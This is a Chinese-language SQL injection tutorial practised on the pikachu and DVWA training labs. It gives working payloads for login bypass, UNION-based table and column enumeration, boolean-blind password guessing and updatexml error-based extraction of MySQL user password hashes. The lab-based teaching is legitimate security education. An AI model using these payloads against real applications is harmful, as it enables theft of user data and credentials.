目录
1、SQL注入漏洞的概要
2、SQL注入的常规思路
3、数字型注入
4、字符型注入
5、布尔盲注
6、报错注入
1、SQL注入漏洞的概要
原理:通过用户输入的数据未严格过滤,将恶意SQL语句拼接到原始查询中,从而操控数据库执行非预期操作。
危害:
- 窃取敏感数据(用户信息、密码等)
- 篡改或删除数据库内容
- 提权攻击(获取服务器权限)
示例-用户登录场景中,输入 admin' --
绕过密码验证:
SELECT * FROM users WHERE username='admin' -- ' AND password='...'
2、SQL注入的常规思路
-
寻找注入点,可以借助web扫描工具实现。
-
通过注入点,尝试获取数据库用户名user()、数据库名称database()、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
-
猜解关键数据库表及其重要字段(获取数据库root账号、密码)
-
通过获取的用户信息,寻找后台登录
-
利用后台了解进一步的信息
3、数字型注入
特征:参数为整数类型,无需引号闭合。
注入原理:直接拼接用户输入到SQL语句的数值位置。
测试靶场为pikachu数字型SQL注入漏洞
网页中若遇到数字型的SQL漏洞注入点时,可以按照一下方式进行注入:
- 寻找注入点,查看是否有回显信息。
3 and 1=1
3 order by 1
null union select 1,2
-
利用准备好的SQL语句进行注入
null union select(select version()),(select database())
null union select(Select group_concat(table_name) from information_schema.tables where table_schema=database()),null
null union select(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),null
4、字符型注入
特征:参数为字符串类型,需用单引号闭合。
注入原理:闭合原始引号并插入恶意代码,注释掉后续内容。
测试的靶场为DVWA,以下为详细步骤:
- 寻找注入点,查看是否有回显信息。
1' and 1=1#
1' order by 1#
null' union select null,null#
-
利用准备好的SQL语句进行注入
null' union select(select version()),(select database())#
null' union select(Select group_concat(table_name) from information_schema.tables where table_schema=database()),null#
null' union select(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),null#
5、布尔盲注
适用场景:页面无显式数据回显,但会根据SQL执行结果返回不同状态(如内容长度、布尔值)。
原理:通过构造布尔条件(TRUE
/FALSE
),观察页面响应差异,逐字符猜测数据。
测试的靶场为DVWA,以下为详细步骤:
- 根据页面的不同状态,查看是否有注入点
1' and 1=1#
1' and 1=2#
-
SQL语句准备
1' and if (length(database())>4,1,0)#
1' and if (substring(database(),2,1)='v',1,0)#
1' and if (substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='g',1,0)#
1' and if (substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)='i',1,0)#
1' and if (substring((select group_concat(user,0x3a,password) from users limit 0,1),1,1)='a',1,0)#
-
利用BurpSuite工具,进行猜解名字
6、报错注入
适用场景:页面显示数据库错误信息(如MySQL错误日志)。
原理:利用数据库函数故意触发错误,将查询结果回显到报错信息中。
常见报错函数:updatexml()
, extractvalue()
, exp()
SELECT * FROM users WHERE id=1 AND updatexml(1, concat(0x7e, (SELECT version())), 1)
测试的靶场为DVWA,以下为详细步骤:
- 寻找注入点,查看页面是否报错。
1'
1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
-
利用准备好的SQL语句进行注入
1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#
1' and updatexml(1,concat(0x7e,( Select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)#
1' and updatexml(1,concat(0x7e,( Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),0x7e),1)#
1' and updatexml(1,concat(0x7e,(select group_concat(authentication_string) from mysql.user limit 1),0x7e),1)#
1' and updatexml(1,concat(0x7e,(substring((select group_concat(authentication_string) from mysql.user limit 1),32,40)),0x7e),1)#